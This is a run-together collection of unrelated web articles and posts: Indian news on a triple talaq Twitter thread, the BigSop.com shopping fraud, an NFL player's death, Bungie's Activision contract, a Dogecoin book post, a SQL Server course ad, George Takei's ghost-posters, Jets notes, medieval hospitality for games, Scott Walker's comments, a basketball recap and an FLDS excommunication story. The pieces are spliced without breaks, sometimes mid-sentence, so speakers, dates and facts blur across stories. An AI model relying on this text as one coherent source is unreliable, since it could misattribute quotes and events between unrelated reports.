It is worth noting that a petition like this is probably being used by this madarsa (and possibly others) to sway public opinion in response to the Law Commision's questionnaire.
Bhatt also managed to have a conversation with a man there, who spoke about his sister's divorce. The man stated that it was an unfair practice, and that he had submitted to the fact that there was nothing he could do about it.
10. I further asked Etheyshaam about his views on Triple Talaq- i said dont u think that it is like a sword on women's head- i said talk + — Alok Bhatt (@alok_bhatt) October 22, 2016
11. to me as his bro- just on principles if this is right or wrong; it was then that he opened up and revealed something libs need to think — Alok Bhatt (@alok_bhatt) October 22, 2016
12. Listen to what Etheyshaam had to say about triple talaq-sadly there was no storage left on ph to record further- to reveal pain of a bro pic.twitter.com/iCKsb568Zv — Alok Bhatt (@alok_bhatt) October 22, 2016
13. Etheyshaam's sister came to his parents when she was 2 months pregnant; after his in laws didnt come to take her, they visited them — Alok Bhatt (@alok_bhatt) October 22, 2016
14. They were told that he had already given her talaq- when she came home; notice was sent to complete it; his sister had no clue — Alok Bhatt (@alok_bhatt) October 22, 2016
15. Maulvi further told them that talaq is final and nothing can be done until "iddat" is complete - time she will hv to live wd women only — Alok Bhatt (@alok_bhatt) October 22, 2016
16. After her son's birth, the stress made his sister lose her sanity- she had to take treatment from Selaqui mental hospital for a year — Alok Bhatt (@alok_bhatt) October 22, 2016
17. They are now fighting for her sister for almost 3 years- guy is not paying maintenance- her son is 2+ now; Imagine her plight! — Alok Bhatt (@alok_bhatt) October 22, 2016
18. I did ask Etheyshaam his views on triple talaq after this- and he went silent, but had tears in his eyes- hugged me and went inside! — Alok Bhatt (@alok_bhatt) October 22, 2016
Bhatt’s Twitter thread made for an interesting read. The video were insightful and do make us understand that the regressive law has had repercussions.
19. People do open up, problem is that there is no dialogue between commoners- everyone is passing verdicts from echo chambers & studios — Alok Bhatt (@alok_bhatt) October 22, 2016
20. I was initially hesitant to go inside a madarasa & talk abt contentious topics- iam happy that i went in- sadly media isnt doing its job — Alok Bhatt (@alok_bhatt) October 22, 2016
While many Twitterati praised his efforts to bring the opinions of the common people to the fore, the discussion quickly turned sour as Bhatt faced a backlash from alleged Muslim groups. Phone calls from people claiming to speak on behalf of Muslim organisations accused him of trying to interfere in religious matters.
Few others reportedly blamed him for visiting a madarsa and talking to young children about triple talaq, even though it is evident from the videos that he did not.
In order to avoid further drama and controversy because of his now famous thread, Alok Bhatt deactivated his Twitter account. His sudden exit led to a bit of paranoia among his followers, some of whom went as far as to suggest that he may have been suspended from Twitter because of his thread.
Such conspiracy theories were routed when Kushal Mehra, another Twitter user, uploaded a conversation with Bhatt on audio hosting website SoundCloud. The audio has Bhatt explaining why he decided to deactivate his account.
Bhatt later reactivated his Twitter account.
Freedom of speech cuts both ways. It doesn’t just stand for opinions and ideas that you subscribe to. Just because one does not agree with an opinion, doesn’t make it any less - and by no means does it give one the right to harass the person holding the opinion.
Considering the subjects Alok Bhatt's Twitter thread sheds light on, one needs to look into whether such madarsas will mobilise support for preventing any reform in personal laws.
Also read - How brave Muslim women are leading a quiet revolution to reform Islamic lawRecently, the Bangalore City Police Crime Branch raided the offices of a fake online shopping portal called BigSop.com (now defunct) based on complaints received on Twitter.
#CCBRaidsFakeOnlineShop based on Twitter inputs.Bigsop A/c has 75lac at present. Cheated 100s based on fake 599 offer pic.twitter.com/5J9xxuXM6R — Abhishek Goyal (@goyal_abhei) November 15, 2014
According to DCP (Crime) Abhishek Goyal, BigSop.com used to deploy pop-up advertisements that informed users that they had won an iPhone for Rs 599. Once customers registered and paid Rs 599, BigSop would convert it into points/credits instead of delivering the iPhone and force customers to buy some other product (most of it fake) of that price range available on the site. Apparently, several hundreds of customers had been duped by BigSop.com before the raid.
As per Goyal, BigSop used ICICI’s payment gateway for processing online payments. Based on the photos of BigSop’s office posted by Goyal on Twitter, it looks like the company had a fully functional call center and quite a big team working for it. However, I don’t think it was fair on part of Bangalore Police to post the photos of the employees on Twitter even if they were in on this scam as well.
BigSop was owned and operated by Bangalore-based Scube Solutions, which claims to offer services like website designing, web development, development of e-commerce web applications, and website maintenance services.
While the BigSop site is currently not accessible, the product page on Scube Solutions’ website claims that BigSop sells products like mobile phones from Apple, Nokia, and Samsung among others, digital cameras from Canon and Nikon and products various other categories like electronics, health & beauty, home appliances, fashion, music, movies and games. The site also claimed to offer all the regular payment options including cash on delivery, debit/credit card, net banking, and even interest-free EMI payment option.
Our Take
There’s no question that strict actions should be taken against BigSop.com and Scube Solutions. However, I would also like to point out that customers shopping on relatively obscure online portals should be a little more careful. It’s foolhardy to believe that an iPhone can be won for Rs 599.
What’s also interesting here is the way Bangalore Police has taken to Twitter and is using the platform to receive complaints and more importantly act on these complaints. Last month, the police had reportedly used Twitter to bust a fake job consultancy network and it is regularly using them to solve citizen issues.
There is also some sort of transparency on what the complaint was, where it originated from and what action was taken on the complaint.
CCB rescued 2 WB ladies frm flesh trade. Kept in PG in Mallshwrm. Transported by auto(caught).Booking on internet for'service' across city. — CCB (@CCBBangalore) November 10, 2014
@goyal_abhei Booking done by email/sms/WhatsApp.Arrested Srinivas took ladies.Paraded them in auto for the customer to choose & exploit. — CCB (@CCBBangalore) November 10, 2014
@CPBlr @Javdahmd @CCBBangalore Yes sir. Missing case taken up yday itself. Investigation on. Wil trace her soon — Dr.Chandragupta, IPS (@DCPCentralBCP) November 2, 2014
@goyal_abhei @CPBlr Dear friend, infact BCP thanks you for sharing correct information & exposing this fraud. pic.twitter.com/ecJSHQ9rDH — CCB (@CCBBangalore) October 31, 2014
In addition, the department also seems to be using these platforms to crowd source information from citizens.Joe Robbins/Getty Images
Former NFL wide receiver James Hardy III has died at the age of 31.
Per Kayla Crandall of Fort Wayne's NBC, the Allen County Coroner's Office identified Hardy after his body was discovered in a river on Wednesday.
Per Cardell, emergency responders were called out to the North Anthony bridge in Fort Wayne on Wednesday afternoon after a water plant worker discovered Hardy's body in the Maumee River. The coroner is investigating the cause of death.
Hardy was a standout wide receiver at Indiana University, where he played from 2005-07. He led the Hoosiers with 79 receptions, 1,125 receiving yards and 16 touchdowns as a junior in 2007.
The Buffalo Bills drafted Hardy in the second round of the 2008 NFL draft. He only appeared in 16 games over two seasons with the team and also spent time with the Baltimore Ravens in 2011.
After Hardy's NFL tenure ended, he played for the Arizona Rattlers and Tampa Bay Storm of the Arena Football League.When Bungie signed its publishing partnership with Activision, the developer committed to four games and four downloadable add-ons in eight years, with the first set for release exclusively on the Xbox 360 and its successor in 2013, according to the Los Angeles Times. A PlayStation 3 version of the game would be planned to follow in the fall of 2014. The details come from Bungie's 2010 contract with Activision, which was recently unsealed as part of the publisher's ongoing legal dispute with Jason West and Vince Zampella, co-founders of original Call of Duty studio Infinity Ward.
Bungie has been using the Destiny code name to tease its next project.
The paper reports that the original agreement had Bungie on the hook to deliver four "massively multiplayer-style…sci-fantasy, action shooter games" under the code name "Destiny." The quartet would kick off in the fall of 2013 with a game for the Xbox 360 and its successor, with subsequent installments to launch every second year thereafter for Sony's consoles and PCs as well. For the years in between those main installments in the series, Bungie would produce downloadable expansion packs under the code name "Comet." The first such add-on was slated to hit in 2014.
In addition to the Activision projects, the contract revealed a possible revamp of Bungie's Marathon series of shooters. Under the agreement, Bungie can devote up to 5 percent of its staff to work on an action shooter prototype for the franchise.
The deal also lays out royalty payments and bonuses for the developer, with Bungie receiving 20-35 percent of operating income from its titles, and $2.5 million a year from 2010 through 2013 if it met certain milestones. Bungie will also receive $2.5 million if the first title in the Destiny series receives an average critic score of 90 or better on GameSpot sister site and reviews aggregator GameRankings.com.
Bungie hasn't detailed release plans or platforms for its first series for Activision, and these plans were only current as of the April 16, 2010, signing of the contract. The deal was signed just four days after West and Zampella announced a partnership with Electronic Arts for their new studio, Respawn Entertainment.
As of press time, an Activision representative had not returned GameSpot's request for comment.Tyke
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LegendaryActivity: 1229Merit: 1000 Dogecoin - History of the First Year BOOK PUBLISHED December 21, 2015, 09:10:23 PM
Last edit: January 21, 2016, 11:37:25 PM by Tyke #1 "Dogecoin - History of the First Year" Book Published for $8.99/£5.99
On 8th of December 2015, the first ever history book of Dogecoin was published. On a month-to-month basis, it is a historical narrative of the events which took place from block one to the first anniversary.
I have purposely released this title in paperback format only. I have found out that the structure/format/layout of the pages cannot be preserved during the change to Kindle. Currently, the book is available on Amazon.co.uk, Amazon.com and Amazon.de in two different formats. One book has completely black and white interior pages (white paper, not cream). These can be found at:
USA (Amazon.com) Book:
UK (Amazon.co.uk) Book:
EUR (Amazon.de) Book:
On the other hand, the colour interior format of the book can be found at these links:
USA (Amazon.com) Book:
UK (Amazon.co.uk) Book:
EUR (Amazon.de) Book:
Here is a screenshot of the contents:
Preview of the Beginning of December 2013 Chapter
Preview of the Beginning of January 2014 Chapter
Preview of the Beginning of February 2014 Chapter
Preview of the Beginning of March 2014 Chapter
Preview of the Beginning of April 2014 Chapter
Preview of the Beginning of May 2014 Chapter
Preview of the Beginning of June 2014 Chapter
Preview of the Beginning of July 2014 Chapter
Preview of the Beginning of August 2014 Chapter
Preview of the Beginning of September 2014 Chapter
Preview of the Beginning of October 2014 Chapter
Preview of the Beginning of November 2014 Chapter
Preview of the Beginning of December 2014 Chapter
Any questions relating to this title are welcome. Please comment below. On 8th of December 2015, the first ever history book of Dogecoin was published. On a month-to-month basis, it is a historical narrative of the events which took place from block one to the first anniversary.I have purposely released this title in paperback format only. I have found out that the structure/format/layout of the pages cannot be preserved during the change to Kindle. Currently, the book is available on Amazon.co.uk, Amazon.com and Amazon.de in two different formats. One book has completely black and white interior pages (white paper, not cream). These can be found at:USA (Amazon.com) Book: http://www.amazon.com/Dogecoin-History-First-Christopher-Thompson/dp/1519667353/ref=sr_1_7_twi_pap_2?ie=UTF8&qid=1450731295&sr=8-7&keywords=dogecoin UK (Amazon.co.uk) Book: http://www.amazon.co.uk/Dogecoin-History-First-Christopher-Thompson/dp/1519667353/ref=sr_1_1_twi_pap_1?ie=UTF8&qid=1450731347&sr=8-1&keywords=dogecoin EUR (Amazon.de) Book: http://www.amazon.de/Dogecoin-History-First-Christopher-Thompson/dp/1519667353/ref=sr_1_1_twi_pap_1?ie=UTF8&qid=1450731429&sr=8-1&keywords=dogecoin On the other hand, the colour interior format of the book can be found at these links:USA (Amazon.com) Book: http://www.amazon.com/Dogecoin-History-First-Christopher-Thompson/dp/1519667205/ref=tmm_pap_title_1?_encoding=UTF8&qid=1450731295&sr=8-7 UK (Amazon.co.uk) Book: http://www.amazon.co.uk/Dogecoin-History-First-Christopher-Thompson/dp/1519667205/ref=tmm_pap_title_1?_encoding=UTF8&qid=1450731347&sr=8-1 EUR (Amazon.de) Book: http://www.amazon.de/Dogecoin-History-First-Christopher-Thompson/dp/1519667205/ref=tmm_pap_title_1?_encoding=UTF8&qid=1450731429&sr=8-1 Here is a screenshot of the contents:Any questions relating to this title are welcome. Please comment below.If you are attending this year’s SQL Nexus conference in Copenhagen, Denmark, from May 1st to 3rd this year, I urge you to attend my preconference training session – “The Complete Primer to SQL Server Virtualization“. The architecture of the infrastructure underneath your mission-critical SQL Servers is vital to the well-being of your databases, and if any little component underneath is not running at its peak potential, your SQL Servers are artificially bottlenecked and your performance suffers.
Session Details
Microsoft MVP and VMware vExpert David Klee leads this full-day introduction to enabling and managing a virtualized SQL Server environment. The focus of the course is to help those new to virtualization and/or infrastructure concepts to become familiar with the concept and purposes of virtualization and how it can benefit them as data professionals. Participants will gain exposure to all layers of virtualization underneath SQL Server, from storage to hypervisor to the SQL Server instance, and will learn how to construct the entire stack with a strong emphasis on SQL Server performance.
Intended Audience. The intended audience of this course is information workers (both business and IT-centric) involved with architecting a virtualization strategy for SQL Server, or managing business-critical SQL Servers that have already been virtualized.
Course Topics
The following topics will be addressed during the course:
The Physical Infrastructure Underneath the VM
Virtualization and Infrastructure Fundamentals
The SQL Server Virtual Machine
Networking, Support, and Licensing
Performance Investigation and Tuning of the Entire Stack
Similarities and Differences with Cloud versus On-Prem
Course Objectives
Upon completion of this course, attendees will be able to:
Understand key virtualization and cloud concepts
Determine the optimal infrastructure configuration for best performance
Construct a SQL Server VPS Server virtual machine template with best practices for agility and performance
Understand how and what stack metrics to benchmark and baseline to ensure proper objective performance measurement
Identify and remediate common virtualized SQL Server performance killers
Understand proper virtualized capacity management techniques for long term management
Prerequisites
Attendees with the following experiences will benefit the most from this course:
Basic familiarity with the core components of a server
SQL Server installation and configuration
Exposure to SQL Server performance metric measurement and identification
A working set of the screens and configuration settings referenced in the session, together with the reference slides and documentation, will be provided to attendees, for strategic reference in working with virtualized SQL Server in your own environments.
I look forward to seeing you all there! Register today, as seats are limited!In a week dominated by news that the National Security Agency was intercepting Americans’ emails and phone records en masse, some of George Takei’s 4 million devoted Facebook followers had more important things to worry about: unexpected evidence that the former Star Trek star hires ghost-posters.
In an interview with longtime media blogger Jim Romenesko, comedic TV writer Rick Polito casually mentioned that he wrote jokes for Takei’s Facebook page at a rate of $10 per gag. With most other celebrities, this sort of outsourcing would come as no surprise, but Takei followers seem to feel an especially personal bond with the star, whose feed is a quirky and seemingly authentic combination of science fiction jokes; lolcat-style animal pictures; heartfelt posts on gay rights, racial discrimination, and animal welfare; and pictures and quotes with inadvertently sexual undertones, which become subjects of Takei’s online catchphrase “Oh Myyy.”
As such, some followers of the star – including the social media savvy – were caught off guard by the idea that he doesn’t personally produce all his own material, perhaps while sipping tea in pajamas on his porch.
“Nooo!” tweeted Amanda Art, an online journalist in Boston.
“Shattered,” wrote Global Post social media editor Kyle Kim.
“Say it ain’t so, Sulu!” said a local Fox TV journalist in Houston.
“Oh myyy is right!” said Brian Ries, social media editor at Newsweek and The Daily Beast. “Can we have no Internet heroes/nice things?!”
Even Jennifer Kroot, the director of a forthcoming documentary on Takei, was caught of guard. “That’s crazy,” she wrote in an email.
Reached by Wired at a Star Trek convention in Boston, in between meetings with Andorian slave girls and Klingon warriors, Takei said the fuss is much ado about nothing. His e-book "Oh Myyy," released in November, even disclosed that some content came from helpers he dubbed “George Fakei.”
“What is this hoo-ha about my FB posts?” Takei wrote in an email. “I have Brad, my husband, to help me and interns to assist. What is important is the reliability of my posts being there to greet my fans with a smile or a giggle every morning. That’s how we keep on growing.”
When Takei, 76, is on the road – Denver last week, Singapore the week before – his team posts items Takei has written previously, he said. And outside writers like Polito help with supplying meme-style funny photos, which Takei scrupulously credits as “from a fan.” But Takei writes every last word cracking fun at the pics, he says.
“The commentaries are mine,” Takei says. “They are authentically mine, I assure you.”
Disillusioned fans, however many there are, seem likely to come around. One devoted follower, to whom the writer of this article happens to be married, reacted Thursday to news of a ghost-joker by saying, “I feel cheated!” Given the opportunity the following day to suggest a tough interview question for Takei, she added, “just tell him he’s awesome.”Matt Forte said that he was assured by the Jets that he won't be traded.
The Jets’ roster purge during this rebuilding season evidently won’t include Matt Forte despite rumblings that he could be the next veteran out the door. Forte said that a report that the Jets are gauging his market value in hopes of trading him is unfounded.
“Fake news,” the veteran running back said after the Jets’ 16-10 preseason win over the Eagles Thursday night. “There’s nothing to even talk about. Fake news.”
The NFL Network report came from a reputable reporter, so it likely has legs. The Jets, like 31 other teams, make calls across the league to discuss players who might be available. Some folks on One Jets Drive, frankly, would probably prefer to unload Forte and his $4 million guaranteed salary. It would be surprising, however, if any team would be willing to take on that salary for a 31-year-old running back.
Forte said that he was assured by “the man who makes the moves” (aka general manager Mike Maccagnan) that he’s staying with the Jets.
“He basically told me… don’t listen to the reports,” Forte said. “Not true.”
It would make no sense to cut Forte given his fully guaranteed salary.
THANKS, PATS
Defensive lineman Kony Ealy, a Patriots castoff and one-time Super Bowl hero who the Jets claimed off waivers this week, made his case to Todd Bowles Thursday night.
Midway through the second quarter, Ealy fooled backup Eagles offensive tackle Dillon Gordon with a smooth swim move, burst into the backfield and dropped quarterback Matt McGloin for a strip sack. The Jets recovered the fumble.
Kony Ealy forces a fumble as he sacks Philadelphia Eagles quarterback Matt McGloin during the Jets' preseason win on Thursday. Image by: Michael Noble Jr./AP
“Just being an athlete, man, allowing the defense to develop,” Ealy told the Daily News. “It opened up the opportunity for me to make a play, and that’s what I did.”
Ealy typically plays defensive end in a 4-3 front, but for the Jets Thursday night in Bowles’ scheme, he played 3-4 defensive end as opposed to outside linebacker.
Ealy said he “definitely” feels like he showed enough to be included in Gang Green’s final 53-man roster. Cuts must be made by 4 p.m. Saturday.
“He was in shape, ready to play,” Bowles said of Ealy. “He made a play or two here or there. Smart football player.”
RED ZONE THREAT
Tight end Austin Seferian-Jenkins snared an impressive touchdown catch in the Jets’ victory Thursday night. On second-and-7 from the 12-yard line, Christian Hackenberg lofted a throw to the back-right corner of the end zone. Seferian-Jenkins out-jumped the defender, maintained body control and fell to the ground in bounds.
“I love the red zone,” Seferian-Jenkins said. “And I want the ball in the red zone.”
Thursday was the last time Seferian-Jankins will see the field until Week 3, though. He’s suspended for the first two games of the season after violating the NFL’s substance abuse policy. He was charged with a DUI last season before being cut by the Bucs.
Austin Seferian-Jenkins catches a touchdown pass from quarterback Christian Hackenberg in the Jets' preseason win over the Eagles. Image by: Bill Kostroun/AP
“It sucks,” Seferian Jenkins said. “I’ve worked really hard. I know my teammates have worked really hard, and I want to be there obviously and continue to work hard alongside them and win these games. But I can’t be because of actions I've done in the past, and I’ve accepted those things.”
INJURY NOTES
Bryce Petty was held out of Thursday’s game because of a Grade 1 MCL sprain he suffered last week against the Giants.
“I just didn't like the way he looked in warmups,” Bowles said.
Petty believes he could have played if the game was Sunday instead of Thursday. He expects to be ready for the season opener Sept. 10 in Buffalo.
... Tight end Chris Gragg suffered what Bowles believes is a fractured ankle in the second quarter Thursday. Gragg had a cast on his leg in the locker room after the game. Outside linebacker Corey Lemonier left the game with a foot injury. Tackle Ben Ijalana didn’t play because of knee soreness related to an offseason operation. RB Matt Forte (hamstring) and CB Morris Claiborne (shoulder) also didn’t play Thursday.
JUST FOR KICKS
The Jets’ kicker competition will be decided in the coming days. Both Ross Martin and Chandler Catanzaro received chances Thursday night. Catanzaro hit from 28 yards. Martin made both his kicks, from 27 and 22 yards.So, by definition, adventurers travel. Where do you stay?
With the elves is good.
Seriously, Tolkien got it right. His two parties of adventurers travel across Middle Earth (which has an empty Early Dark Age/Early Middle Ages feel) and how many times do they stay in inns?
It’s pretty much camping and hospitality all the way. In Middle Earth, this means craving the hospitality of elves, shape-shifters, and humans of various social ranks.
In the real Middle Ages, you’re stuck with just humans.
Why There Aren’t Many Inns in the Early Middle Ages
Through much of the countryside of much of the Early Middle Ages (the modern term for Dark Ages — roughly Fall of Rome through to 1066 — though I am hoping that my Historiographically Challenged Period will catch on), there aren’t any inns. There are simply too few travellers to make it financially viable except in the big trade centres.
Worse, in most of the Early Middle Ages, most of the people probably aren’t paying for things with money anyway.
Sure, there is money around. It’s a unit of account for fines and taxes, but these are usually paid in kind without anybody ever seeing a coin (some cultures use other units such as cattle or even handmaidens, neither of which necessarily change hands).
The problem with coins is that though you can buy things with them, you can rarely do it right now. The lord wants his tax in cattle — or perhaps cheese — because he wants to feed his household this week. If you gave him cash instead, he would have a supply problem.
Though most of the surplus production goes to the overlord as tax, some goes to seasonal fairs to be bartered and — possibly — sold for cash. However, even your smallest small change probably represents a small fortune. Money simply isn’t granular enough to pay for bed and breakfast.
And don’t picture the local economy running off formal barter (like they tell you about in school — I’ll swap you a chicken for a fish hook). Instead people probably have ongoing reciprocal relationships — I gave you some eggs last week, next month you give me some fish-hooks you made. We both keep track over the long term, a bit like the way you do with Christmas presents between relatives. (Actually, in most Medieval peasant communities it’s a good bet everybody is a relative.)
So though some money might be useful, most of the significant payments are in kind.
Why You Need Hospitality
If you are lucky, you can stay in a monastery, which has a religious obligation to accommodate travelers in its guest house (for an appropriate donation based on your class). There will be downsides. They won’t make a good base of operations — they’re not set up for long term accommodation — and they won’t take it kindly when the barbarian — all parties have them! — gets drunk and starts a fight. The biggest drawback (from a gaming or fictioneering point of view) is that you won’t be embedded in the community meaning you’ll meet some interesting fellow travelers, but you won’t make the kind of local connections that result in adventure seeds.
If you are in the wilderness, then you can camp. However you usually need to do it near the road, or be “mistaken” for an outlaw. (Hint, the goods of slain outlaws are usually forfeit). And, if you camp near the road, then the real outlaws know where to find you.
Really, unless you are scarier than the outlaws — if you are, then the local lord may mistake you for invaders — then you need a roof over your head and a wall around your goods. And that, in the absence of a inns, or at least people who would accept cash for a bed and board, this means getting hospitality.
How to Get Hospitality
Somebody has to take you in. In most cultures, all you have to do is ask politely (preferably ask somebody who isn’t starving, however) because there is an obligation to offer hospitality to travelers.
This is both simpler and more complex than you might expect because in becoming a guest you also become temporarily part of a household.
In such insecure times, it might seem amazing that people are prepared to take in a stranger at all!
However, nobody poor has much really worth stealing that isn’t also pointless or unwieldy — WTF? Our guest ran off with the spade! Where would you even sell it? — and because people of all classes tend to live without much privacy — your host will know if you make advances on his wife or daughters, and — if he’s a lord — whether you are casing his treasure chest or coveting his mail shirt.
This is true whether you stay with a peasant farmer, in the equivalent of a small barn which his family probably shares with the animals, or with a local lord, in the equivalent of a large barn his household probably shares with his (watchful) dogs and (even more watchful) servants.
Also, since travelers are rare — that’s one reason why there’s no local cash economy — you are automatically interesting.
Your host can sharpen his prestige (and, by the way, show everybody how significant he is) by entertaining you. You have stories to tell that people will repeat for years to come, and you bear with you exotic trinkets. Sure, you’re a former Varangian Guardsman, not merchant. However, I bet you have some nice glass beads from Constantinople that would look good on your host’s daughter’s wedding gown. They’d make a lovely gift.
And talk of gifts brings us to the complexities.
Accepting Hospitality Means Being a Guest
When you accept hospitality, you are a guest, not a customer, and you need to behave like one.
You also need to come up with appropriate gifts or services to offset the cost of feeding you, and you need to do any negotiating without insulting your host by being too obvious. Communication will be by hint. You want to stay another week? Mention that you plan to go after that wild boar that’s been wrecking the crops. You’re host thinks you are free-loading? He might start moaning about that leaky roof and mentioning that he’s heard barbarians are expert carpenters.
Because you’re a guest, and he’s a host, that’s the language you use. However, your host’s motives may be entirely mercenary (if he’s the local lord, then he may want to use you as actual mercenaries) and if he feels exploited or turns greedy, you are in a very weak position; You are a stranger with no kin to protect you or to demand compensation if you are killed, or to rescue you if you are enslaved. Local justice is pretty much formalized self help with a side order of mob rule. It’s generally OK to kill outlaws and thieves caught red handed. (I’ll let you join the dots.)
Hospitality Means Being Part of the Household
Your host also has good reason to feel vulnerable and cautious because he has temporarily taken you into his household.
If you cause trouble, get into a fight, kill somebody, then he is responsible. Usually this responsibility is formal and he will end up paying any fines or compensation that you can’t cover |
doesn't love America. The Democratic National Committee was quick to jump on Walker, who has risen to the top tier of the Republican field after a strong speech in Iowa last month, calling him "unfit to lead."
"I don't know," Walker, a likely 2016 presidential candidate, told The Washington Post when asked if Obama is a Christian.
“I’ve actually never talked about it or I haven’t read about that,” Walker said.
“I’ve never asked him that,” he added, in response to questions from two Post reporters. “You’ve asked me to make statements about people that I haven’t had a conversation with about that. How [could] I say if I know either of you are a Christian?”
“To me this is a classic example of why people hate Washington and increasingly they dislike the press,” he added. “The things they care about don’t even remotely come close to what you’re asking about.”
Walker spokeswoman Jocelyn Webster then called the Post to clarify Walker's remarks.
“Of course the governor thinks the president is a Christian,” she said.“He thinks these kinds of gotcha questions distract from what he’s doing as governor of Wisconsin to make the state better and make life better for people in his state.”
Earlier on Saturday, the Associated Press published an interview where Walker was asked a follow-up on Giuliani's remarks.
"You should ask the president what he thinks about America," Walker, a likely 2016 presidential candidate, told the Associated Press.
"I've never asked him so I don't know," he added.
"After sitting silently by when Rudy Giuliani made an outrageous comment that our President doesn’t love America, today Scott Walker has doubled down on his divisive politics saying he doesn't know if the President loves our country, and then questioning President Obama's religion," DNC spokeswoman Holly Shulman said in a statement.
"Scott Walker had a simple test," she added. "He could have risen above the fray, but he continues to flatly fail and instead push the same polarizing agenda and politics he has for years in Wisconsin. Today, Walker has proven himself once again to be unfit to lead."
Walker had already drawn fire for not condemning Giuliani's comments.
“The mayor can speak for himself," Walker said on CNBC earlier in the week. "I’m not going to comment on what the president thinks or not. He can speak for himself as well."
The issue has resonated in the emerging Republican presidential field, with candidates being asked to agree or disagree with Giuliani.
Sen. Marco Rubio (R-Fla.), a potential rival to Walker, responded by saying, “I believe the president loves America."
A spokeswoman for Jeb Bush has likewise said that he "doesn't question President Obama's motives."
Louisiana Gov. Bobby Jindal (R), though, has backed Giuliani.
"Gov. Jindal Refuses to Condemn Mayor Giuliani," read a press release from his office.
This post was updated at 7:02 p.m.Troy Daniels Playoff Performance Far From A Fluke
by
Troy Daniels announced himself to the world when he knocked down the game winning 3-pointer in overtime of game 3 to give the Houston Rockets their only win of what is now a 3-1 series in favor of the Portland Trailblazers. If you were active on any social media outlet at the time of his game winning shot people were shocked to find out that this guy from the D-League hit a big time shot like that. Some people even went as far as to call what Daniels did a fluke. Well game 4 completely disproved that theory as Daniels displayed an abundance of poise.
In game 4 Daniels mad his presence felt early with three 3-pointers in the 1st half giving the Rockets some quality minutes and himself 9 quick points. Overtime of game 4 is where we really saw the poise of Daniels down the stretch. With less than 90 seconds left, down by 7 points Troy Daniels hit a 3-pointer with a hand in his face to cut the Portland led down to 4 points. The Rockets were down 115-119 and had a punchers chance to even up this series on the road. With only 8 seconds left on the clock Troy Daniels was fouled taking a 3-pointer and would have the chance to cut the Houston lead down to 1 point. Like any shooter would in that situation Daniels knocked down all 3 free throws and gave his team a chance to win late in the game. The Rockets had a chance to tie the game up and send it into overtime but Wesley Matthews forced a turnover and the Blazers escaped with a 120-123 game 4 win.
This guy wasn’t a full-time rotation player for the Rockets prior to this series starting. In fact he had appeared in only 5 game, played 75 minutes and made 1 start in one of the last games of the year. So for him to step into a hostile environment on the road in what was only his 2nd career playoff game and do the way he did speaks volumes to his ability along with his poise. He may be a rookie from the D-League but he looks like a guy who has been here a few times before. Daniels did play his college ball for a VCU team that made it to the final four in 2011, so he’s used to performing on a big stage.
If you do the numbers Troy Daniels has collected 26 points, 6 rebounds and a steal in his 41 minutes of action so far. If we look at his shooting numbers though we will see that 7-11 from the 3-point line which is a video game like 63%. Daniels shooting over the past 2 games has put him in some historic company. The Best 3-point shooting percentage in a single playoff series since 1986 is as follows Chris Bosh 8-11 (72%), Chris Mullin 9-13 (69%), Baron Davis 10-15 (66%), Raja Bell 13-20 (65%), Voshon Leonard 9-14 (64%), Reggie Miller 7-11 (63%) and Troy Daniels (63%). This the kind of company Daniels has shot himself into so credit to not only Troy but Kevin Mchale for having the confidence to give him minutes in big time situations.
AdvertisementsIn 2011, the leaders of the Fundamentalist Church of Jesus Christ of Latter-day Saints proclaimed what some in their community would come to call the “Dishrag Revelation.” Church authorities demanded that the faithful give all their property — down to the dishrags — to the church. The authorities would then redistribute to each family what they needed, according to the judgment of those same authorities. If someone brought in two flashlights, for example, they might get only one back, and not necessarily one of those they gave away. “This is not real,” former member Sheldon Black remembers thinking. “This is a bad dream.”
And then it got worse. Black, talking to me in his shop in June 2016, says church leaders called him to the meetinghouse in Hildale, Utah, in June 2012. He walked down a dark hallway toward the one illuminated room. Inside sat religious leaders Isaac and Nephi Jeffs, Rich Allred, and Nate Jessop. They made him wait outside for 30 minutes, with only a hymnal for company. He paged through it, scanning notes and lyrics that he’d sung his whole life.
When they finally called him in, they had a special revelation for him: According to Warren Jeffs, the prophet whose dictates were church doctrine, he and his second wife, Cindy, had committed “abortive miscarriage.”
Black knew that hadn’t happened. “I lived my whole life trusting these people, and now they’re shoving this lie and telling you it’s God’s truth,” he says.
But Black also knew that he had to give this room of illuminated figures exactly what they wanted: submission, acceptance, a humble “I guess.” He’d always said “yes” to church leaders — yes, I will give you my dishrags and my paycheck. Yes, I sustain you as prophet. Yes, I will marry the girl you chose for me.
So, after some hesitation, he agreed to the false accusation, too. And to the subsequent excommunication. Like the hundreds of others the Jeffses have excommunicated in recent years, he would have to leave town — the only home he’d ever known, the house he’d built, his two wives and all of his children. He would not be allowed to speak to or see any of them.
Along with every other FLDS member, he had previously signed custody of his kids over to the church, a state of affairs detailed in numerous court cases and confirmed in interviews with ex-FLDS members and their legal representatives. FLDS parents have “stewardship” over their offspring — and husbands have it over their wives — but members are told that both women and children “belong” to the religious organization. Parents are to care for their families, but when the prophet decides to transpose family members — a wife swapped to a new husband, kids sent to a different caretaker — the people say yes. They walk away from their marriages and watch their children move into different houses. They turn their backs on their town.
Black went home, knowing that Cindy would soon get a phone call, telling her about the miscarriage she had not had. The leaders would send her away. Their children would be “redistributed”; his first wife, Angela, and their children would be “given” to caretakers, or to a new husband and father figure. As Black tells me this story, Cindy sits next to him, silent and nodding.
When Cindy’s call came, Black looked across the room at his thin, gray-skinned wife, malnourished from church-mandated food restrictions. He thought of her alone in the world, an alien place. He imagined her dying out there and wondered what would happen to their kids. He pictured himself, alone.
Later, as the spouses prepared to leave, separately, church officials said to Black, “We’ll take the children, if you will.”
And he thought, but did not say: “What if I won’t?”
He and Cindy agreed to leave together, and take the children with them. And so in secret, in the middle of the night, they all left in their van.
When the Blacks entered the world outside of their polygamous enclave — the twin towns of Hildale and Colorado City, Arizona, collectively called Short Creek — the children were horrified. They put pillows up to the windows so they wouldn’t have to see the nearly naked pedestrians with their bare limbs, a far cry from the long-sleeved shirts, long-legged pants and modest prairie dresses that were pro forma in Short Creek.
The family sojourned in Flagstaff, Arizona, then in Nevada, Salt Lake City and Idaho, assisted by already-out family, other former FLDS members, and an organization called Holding Out HELP. Soon enough, their children stopped shielding their eyes. They even watched their first movie. “They didn’t smile or anything,” Black tells me, although he smiles himself at the memory. They just stood up and looked closer at the screen, trying to decipher this technological magic.
But the magic couldn’t last. Black soon heard that back in Short Creek, his first wife, Angela, had also been sent away. Her kids — his kids — were living alone with his adult son, Sheldon Jr.
“I had two underage daughters, and I knew what they were going to be getting into,” Black says: meaning, potentially, forced relations with older men. Now he was asking, “What if we just take the children?”
